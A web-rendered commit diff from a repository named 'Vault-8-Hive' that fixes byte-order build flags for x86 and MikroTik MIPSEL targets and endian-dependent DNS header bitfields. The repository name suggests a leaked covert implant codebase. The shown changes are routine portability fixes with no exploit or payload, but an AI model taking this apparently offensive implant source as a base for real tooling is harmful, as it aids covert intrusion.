Projects STRLCPY Vault-8-Hive Commits 544b69bc
🤬
  • ■ ■ ■ ■ ■
    common/Makefile-include.linux-x86
    skipped 14 lines
    15 15  CFLAGS += -DLINUX -D_X86 -m32 -static
    16 16  CFLAGS += -DUCLIBC
    17 17  CFLAGS += -D_USE_BASH
     18 +CFLAGS += -D__BYTE_ORDER=__LITTLE_ENDIAN
    18 19   
    19 20  LDFLAGS += -lutil -L$(UCLIBC_LIBS)
    20 21   
    skipped 2 lines
  • ■ ■ ■ ■
    common/Makefile-include.mikrotik-mipsel
    skipped 13 lines
    14 14  CFLAGS += -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS)
    15 15  CFLAGS += -DLINUX -DMIKROTIK -D_MIPSEL -static
    16 16  CFLAGS += -D_MIPS_SZPTR=32
    17  -CFLAGS += -D__BYTE_ORDER=LITTLE_ENDIAN
     17 +CFLAGS += -D__BYTE_ORDER=__LITTLE_ENDIAN
    18 18  CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_USE_ASH -D_GNU_SOURCE
    19 19  CFLAGS += -D_USE_UNLINK
    20 20  CFLAGS += -D_GNU_SOURCE
    skipped 4 lines
  • ■ ■ ■ ■ ■
    server/dns_client.c
    skipped 55 lines
    56 56   queryID = htons((uint16_t)rand());
    57 57   header->id = htons(queryID); // Randomly generated query ID
    58 58   header->qdcount = htons(1); // One query
    59  - DLX(5,printf("DNS Header Flags: 0x%04x\n", header->flags));
    60 59   header->rd = 1; // Set recursion flag
    61  - DLX(5,printf("DNS Header Flags: 0x%04x\n", header->flags));
     60 + header->flags = htons(header->flags);
    62 61   
    63 62   // Generate the query
    64 63   {
    skipped 82 lines
  • ■ ■ ■ ■ ■ ■
    server/dns_protocol.h
    skipped 33 lines
    34 34   union {
    35 35   uint16_t flags;
    36 36   struct {
     37 +#if __BYTE_ORDER == __LITTLE_ENDIAN
    37 38   u_int16_t rcode:4;
    38 39   u_int16_t z:3;
    39 40   u_int16_t ra:1;
    skipped 2 lines
    42 43   u_int16_t aa:1;
    43 44   u_int16_t opcode:4;
    44 45   u_int16_t qr:1;
    45  - };
     46 +#elif __BYTE_ORDER ==__BIG_ENDIAN
     47 + u_int16_t qr:1;
     48 + u_int16_t opcode:4;
     49 + u_int16_t aa:1;
     50 + u_int16_t tc:1;
     51 + u_int16_t rd:1;
     52 + u_int16_t ra:1;
     53 + u_int16_t z:3;
     54 + u_int16_t rcode:4;
     55 +#else
     56 +#error Endian undefined
     57 +#endif
     58 + } __attribute__((packed));
    46 59   };
    47 60   u_int16_t qdcount;
    48 61   u_int16_t ancount;
    skipped 34 lines
Please wait...
Page is in error, reload to recover